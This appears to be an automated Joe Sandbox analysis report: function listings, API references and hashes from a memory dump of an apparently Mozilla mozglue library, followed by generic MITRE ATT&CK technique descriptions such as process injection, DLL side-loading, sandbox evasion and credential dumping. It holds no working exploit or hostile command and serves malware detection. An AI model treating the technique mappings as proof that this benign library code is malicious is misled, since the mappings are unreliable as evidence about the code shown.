?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CDF8725

Strings

map/set<T> too long, xrefs: 6CDF8720

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 5fb16ce540bfcf0642a109a4d769268ed98914f1790c1bd44fd8a7ee7db024a1
Instruction ID: 2aa5b5e9adbe1f17b4c4e989821fe35df30b26b764023ab84a66371135589670
Opcode Fuzzy Hash: 5fb16ce540bfcf0642a109a4d769268ed98914f1790c1bd44fd8a7ee7db024a1
Instruction Fuzzy Hash: 8F515674A04641CFD701CF19C884B59BBF1BF4A318F1AC19AD8695BB62C375E886CF92

Function 6CDABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CDABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CDABE8F

Strings

0, xrefs: 6CDABE5B

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ca224102a9eb1a9c758c9264dcaf6148b3ffffa3f755cfbe4144922f2beb5155
Instruction ID: f9b50a1b19faa3e4b3352f88275ae22337927327dd29b7aa267e394df65120a8
Opcode Fuzzy Hash: ca224102a9eb1a9c758c9264dcaf6148b3ffffa3f755cfbe4144922f2beb5155
Instruction Fuzzy Hash: FE41C371909749EFC701CF78C481A9BBBF4AF8A348F004A1DF98557661E730DA5A8B92

Function 6CDE3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDE3D19
mozalloc_abort.MOZGLUE(?), ref: 6CDE3D6C

Strings

d, xrefs: 6CDE3D58

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: dccd33500ab7e51c3e8f7cf499aa0b346610ab13776536d7174532ce0a693524
Instruction ID: bfa822980f89e1905f928dd3552a4b21d5c654e8756db8cae7f155f42e66b0e7
Opcode Fuzzy Hash: dccd33500ab7e51c3e8f7cf499aa0b346610ab13776536d7174532ce0a693524
Instruction Fuzzy Hash: 73115735E04788D7DB018FA9CC055FDB375EF9A318B458218DC4497632EB34A6D4C360

Function 6CDB4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CDB44B2,6CE2E21C,6CE2F7F8), ref: 6CDB473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CDB474A

Strings

GetNtLoaderAPI, xrefs: 6CDB4744

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 852ad3b4b3a68cf970499604d41ee76458bb297e3703a764a7ea1e31dd87d9a0
Instruction ID: 9c4c2aba749a06c122394348fda1e4d4a45c38ef0da60e6ad5279adc3cfea9c9
Opcode Fuzzy Hash: 852ad3b4b3a68cf970499604d41ee76458bb297e3703a764a7ea1e31dd87d9a0
Instruction Fuzzy Hash: 2E015EB67012289FDF04AFA69884B197BB9EB8B311B044469EA06D7710DB7CE901CFD1

Function 6CE06DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CE06E22
__Init_thread_footer.LIBCMT ref: 6CE06E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CE06E1D

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6d34fb17791b10325450ac149f846d45fa2dbcadf13fc713a187a214fd62b86
Instruction ID: 9df43e9c152045e3c6bd44efa4be953b6918cd9a3f5ebf35f75a4930445ad835
Opcode Fuzzy Hash: f6d34fb17791b10325450ac149f846d45fa2dbcadf13fc713a187a214fd62b86
Instruction Fuzzy Hash: 07F0B4757053908BEB008BA8CA50F957775D713618F250165C80546F61DB2DB6A7CBE3

Function 6CDB9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CDB9EEF

Strings

NaN, xrefs: 6CDB9EC1
Infinity, xrefs: 6CDB9EB7

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 4889c97f28a1994150983229512cf6289d0d7e271bd9be3c96d1cbcc91234a69
Instruction ID: 54d7ddd5d4bd790d54abc92feba0fa201a993632c90c13f6ce7f1547c23e7ee1
Opcode Fuzzy Hash: 4889c97f28a1994150983229512cf6289d0d7e271bd9be3c96d1cbcc91234a69
Instruction Fuzzy Hash: 7AF040B0A012A0CBDB00CF28DA06B923371B303709F380A18C5041BB60DB3DB546CFC2

Function 6CDB3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CE2F860), ref: 6CDB385C
ReleaseSRWLockExclusive.KERNEL32(6CE2F860,?), ref: 6CDB3871

Strings

,l, xrefs: 6CDB387A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,l
API String ID: 17069307-1755907662
Opcode ID: 21adced52195c93387e0a84aa6e9567262c3cd3d83312b7d8d0b292535d33710
Instruction ID: 8b134a6881bbfae96bf594527ffe6b1f34ffe2dd76ae6f5d364d0bebab267a52
Opcode Fuzzy Hash: 21adced52195c93387e0a84aa6e9567262c3cd3d83312b7d8d0b292535d33710
Instruction Fuzzy Hash: 5FE0DF76901B38D787019FA6A40278ABB78EF03AA13244105E40B2BA10CB3CE440A6D6

Function 6CDBBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CDBBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CDBBEF5

Strings

cryptbase.dll, xrefs: 6CDBBEF0

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 453d2c52b123318676f686c76c9e33bbb0779c0e302f21361a9109e53029ba8e
Instruction ID: 5dcda025512265eeb0f812b53ee55085099608751086b0b56886ef2a71d4ba95
Opcode Fuzzy Hash: 453d2c52b123318676f686c76c9e33bbb0779c0e302f21361a9109e53029ba8e
Instruction Fuzzy Hash: 1AD0C77158410CFAD7406B518D05B153774A701715F50C021F757549B1C7B5E550CB54

Function 6CDA50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CDA4E9C,?,?,?,?,?), ref: 6CDA510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CDA4E9C,?,?,?,?,?), ref: 6CDA5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CDA5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CDA4E9C), ref: 6CDA5234

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 88fb5316bc4ba053ba89e78928113f6874973838bba14ff29e654e440ef6df56
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 3991B175505A56CFCB14CF08C490A5ABBA1FF89318B28859DEC589B725E331FC42CBE1

Function 6CDFB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CDFB2C9,?,?,?,6CDFB127,?,?,?,?,?,?,?,?,?,6CDFAE52), ref: 6CDFB628

Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF90FF
Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CDFB2C9,?,?,?,6CDFB127,?,?,?,?,?,?,?,?,?,6CDFAE52), ref: 6CDFB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CDFB2C9,?,?,?,6CDFB127,?,?,?,?,?,?,?,?,?,6CDFAE52), ref: 6CDFB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CDFB127,?,?,?,?,?,?,?,?), ref: 6CDFB74D

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ca59b16bc85f287f675f1cb9bd9bb0bf3f0fbf88bbd705c96fa5a198520ffc68
Instruction ID: 04924a30dc6e7da64b72e64625c1fc6b0e4dda7080fd00fb49404c89b01f5691
Opcode Fuzzy Hash: ca59b16bc85f287f675f1cb9bd9bb0bf3f0fbf88bbd705c96fa5a198520ffc68
Instruction Fuzzy Hash: 9651CDB1A01316DFDB14DF18C98076EB7B5FF45304F168529C86AAB7A0DB31A806CBA1

Function 6CDFDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CDEFF2A), ref: 6CDFDFFD

Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF90FF
Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDEFF2A), ref: 6CDFE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDEFF2A), ref: 6CDFE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CDEFF2A), ref: 6CDFE0FE

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cb049af98fe15fb895d3795ae460f95cf45bea4af1fef67a0e8d11a98316b7e8
Instruction ID: d796b48622ea0762c9317814bbfb90ccb759ccbfdcb7718f98102c2950da6570
Opcode Fuzzy Hash: cb049af98fe15fb895d3795ae460f95cf45bea4af1fef67a0e8d11a98316b7e8
Instruction Fuzzy Hash: D141C0B1704216CFEB14CF68D88075A73B6BB45308F264939D666DBB60E731E906CB92

Function 6CDF6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CDF6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CDF6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CDF6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDF6F5C

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 761ed2688015619f58a988c997b47d488c105fff97a231df06610fcf94f45b87
Instruction ID: 0571227cb62df870e06952fe19d76cca84c97a481f2eff40dbb09fd505465c99
Opcode Fuzzy Hash: 761ed2688015619f58a988c997b47d488c105fff97a231df06610fcf94f45b87
Instruction Fuzzy Hash: 5331C871A105068FEB04CF2CD9406AE73F9FF85344F558539D426CBA61EB31E556C790

Function 6CE0B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CDB0A4D), ref: 6CE0B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CDB0A4D), ref: 6CE0B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CDB0A4D), ref: 6CE0B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CDB0A4D), ref: 6CE0B67F

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: fe19b737f5ae5746f819f9f2d2c70ea5498bdb645dbfa183073e9d89cba0031e
Instruction ID: b0b55e11f52be22f3ff34c8303c544f12d85e346af600293610663de9946f427
Opcode Fuzzy Hash: fe19b737f5ae5746f819f9f2d2c70ea5498bdb645dbfa183073e9d89cba0031e
Instruction Fuzzy Hash: E931B471F012168FEB10CF58D85465AFBB9FF81318F268569C8069B741DB31E925CBE2

Function 6CDDF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CDDF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CDDF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CDDF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CDDF668

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 978d34116c623902b3fa4d0ea96c73432c1bc24746291f4cf278e9b92177b163
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 0C314D71B00214AFC714CF6DDCC0A9B7BBAEB84354B18853DFA4A8BB14D631F9548B90

Function 6CDF26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDF26C1
free.MOZGLUE(?), ref: 6CDF26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDF26FF
free.MOZGLUE ref: 6CDF270D

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e9bbbc7b2d25dd5a507135ec055e921472bff0622d55a1a16606259418e26208
Instruction ID: 8a56c87701cc478010d6b102c011cbdf7218764db466e43a50246e6cdc640980
Opcode Fuzzy Hash: e9bbbc7b2d25dd5a507135ec055e921472bff0622d55a1a16606259418e26208
Instruction Fuzzy Hash: 5CF0A9B27012419BF7009B18D884E5BB3ADFF5125CB550035EA26D7B21F732F91AC6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

